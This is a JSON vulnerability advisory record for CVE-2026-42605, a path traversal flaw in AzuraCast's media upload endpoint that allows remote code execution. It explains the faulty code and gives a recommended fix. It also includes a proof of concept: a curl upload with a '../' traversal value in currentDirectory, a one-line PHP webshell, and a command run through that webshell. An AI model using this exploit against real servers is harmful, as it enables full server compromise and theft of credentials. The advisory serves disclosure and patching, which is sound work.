{"id":"CVE-2026-42605","aliases":["GHSA-vp2f-cqqp-478j"],"url":"https://o3.security/vulnerability/CVE-2026-42605","summary":"AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload","details":"## Summary\n\nThe `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.\n\n## Details\n\nIn `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:\n\n```php\n// FlowUploadAction.php:79-84\n$currentDir = Types::string($request->getParam('currentDirectory'));\n\n$destPath = $flowResponse->getClientFullPath();\nif (!empty($currentDir)) {\n    $destPath = $currentDir . '/' . $destPath;\n}\n```\n\nWhile `$flowResponse->getClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability.\n\nThis `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`:\n\n```php\n// MediaProcessor.php:75-117\ntry {\n    if (MimeType::isFileProcessable($localPath)) {\n        // ... process media ...\n        return $record;\n    }\n    // ...\n    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');\n} catch (CannotProcessMediaException $e) {\n    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());\n    throw $e;\n} finally {\n    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes\n}\n```\n\nThe `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates.\n\nFor local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`:\n\n```php\n// LocalFilesystem.php:45-57\npublic function upload(string $localPath, string $to): void\n{\n    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation\n    $this->ensureDirectoryExists(dirname($destPath), ...);\n    copy($localPath, $destPath);  // OS resolves ../\n}\n```\n\n`getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root.\n\nNote: `RemoteFilesystem::upload()` uses `$this->writeStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.\n\nThe route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` — a permission granted to DJs and station managers, not only admins.\n\n## PoC\n\nAssuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:\n\n**Step 1: Upload a PHP webshell via path traversal**\n\n```bash\ncurl -X POST \"http://localhost/api/station/1/files/upload\" \\\n  -H \"Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>\" \\\n  -F \"flowTotalChunks=1\" \\\n  -F \"flowChunkNumber=1\" \\\n  -F \"flowCurrentChunkSize=44\" \\\n  -F \"flowTotalSize=44\" \\\n  -F \"flowIdentifier=abc123\" \\\n  -F \"flowFilename=shell.php\" \\\n  -F \"currentDirectory=../../../../../var/azuracast/www/public\" \\\n  -F \"file_data=@shell.php\"\n```\n\nWhere `shell.php` contains:\n```php\n<?php system($_GET['cmd']); ?>\n```\n\nExpected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block.\n\n**Step 2: Execute commands via the webshell**\n\n```bash\ncurl \"http://localhost/shell.php?cmd=id\"\n```\n\nExpected output:\n```\nuid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)\n```\n\n## Impact\n\n- **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.\n- **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.\n- **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.\n- **Data Exfiltration**: All station data, user credentials, and application secrets become accessible.\n\n## Recommended Fix\n\nSanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames:\n\n```php\n// FlowUploadAction.php — replace line 79:\n$currentDir = Types::string($request->getParam('currentDirectory'));\n\n// With:\n$currentDir = UploadedFile::filterClientPath(\n    Types::string($request->getParam('currentDirectory'))\n);\n```\n\nAdditionally, harden `LocalFilesystem::upload()` to normalize paths before use:\n\n```php\n// LocalFilesystem.php — add path normalization in upload():\npublic function upload(string $localPath, string $to): void\n{\n    $normalizer = new WhitespacePathNormalizer();\n    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../\n\n    $destPath = $this->getLocalPath($to);\n    $this->ensureDirectoryExists(\n        dirname($destPath),\n        $this->visibilityConverter->defaultForDirectories()\n    );\n\n    if (!@copy($localPath, $destPath)) {\n        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);\n    }\n}\n```\n\nAlso sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.","published":"2026-05-09T19:44:05.893Z","modified":"2026-08-12T03:51:16.427572861Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00832,"percentile":0.55891,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"azuracast/azuracast","fixedVersion":"0.23.6"}],"fix":{"url":"https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d","label":"AzuraCast/AzuraCast@18c793b"},"references":[{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"},{"type":"ADVISORY","url":"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42605.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42605"},{"type":"FIX","url":"https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"},{"type":"PACKAGE","url":"https://github.com/AzuraCast/AzuraCast"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.427572861Z"}}